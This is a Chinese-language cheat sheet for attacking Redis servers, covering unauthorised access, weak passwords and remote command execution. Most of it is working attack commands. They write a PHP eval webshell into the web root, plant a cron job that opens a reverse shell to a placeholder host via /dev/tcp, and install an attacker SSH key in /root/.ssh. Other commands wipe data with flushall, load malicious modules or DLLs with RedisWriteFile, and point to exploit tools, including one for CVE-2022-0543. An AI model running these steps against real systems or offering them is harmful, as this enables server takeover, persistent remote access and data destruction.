redis是一个key-value存储系统。
获取redis权限
- 未授权
- 弱口令
- 写任意文件
- 信息泄露
- 远程命令执行
可以泄露操作系统信息,以此为后续漏洞利用做准备。
附件条件:
- 同主机存在web服务
- 已知网站路径
- 具备写权限
config set dir /var/www/html
config set dbfilename webshell.php
set shell "<?php @eval($_POST['shell']);?>"
save
真实环境慎用,需要清空数据影响生产环境
清空数据
redis-cli -h 192.168.1.11
redis> flushall
写计划文件
redis-cli -h 192.168.1.11
redis> config set dir /var/spool/cron
redis> set re "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/x.x.x.x/8899 0>&1\n\n"
redis> config set dbfilename root
redis> save
真实环境慎用,需要清空数据影响生产环境
获取本地ssh公钥
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > re.txt
需要清空数据
redis-cli -h 192.168.1.11
redis> flushall
写秘钥
cat re.txt | redis-cli -h 192.168.1.11 -x set re
redis> config set dir /root/.ssh
redis> config set dbfilename authorized_keys
redis> save
本地连接:
ssh -o StrictHostKeyChecking=no 192.168.1.1
- 附加条件: redis 4.x-5.0.5
- 在Redis 4.x之后,Redis新增了模块功能,通过外部拓展,可以在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。
- 漏洞利用: https://github.com/Ridter/redis-rce
- linux 命令执行模块(so):https://github.com/RicterZ/RedisModules-ExecuteCommand.
redis-rce工具一键利用
- 漏洞利用:https://github.com/r35tart/RedisWriteFile
- windows 命令执行模块(dll):https://github.com/0671/RedisModules-ExecuteCommand-for-Windows
python RedisWriteFile.py --auth 123qwe --rhost=10.20.3.97 --rport=6379 --lhost=10.10.10.31 --lport=2222 --rpath="C:\Users\test\Desktop" --rfile="exp.dll" --lfile="exp.dll"
redis:
>module load C:\Users\test\Desktop\exp.dll
>exp.e whoami
- 附加条件: 2.2 <= redis < 5.0.13,2.2 <= redis < 6.0.15,2.2 <= redis < 6.2.5
- 漏洞利用:https://github.com/aodsec/CVE-2022-0543
- 附加条件:Java 反序列化漏洞 参考 细数 redis 的几种 getshell 方法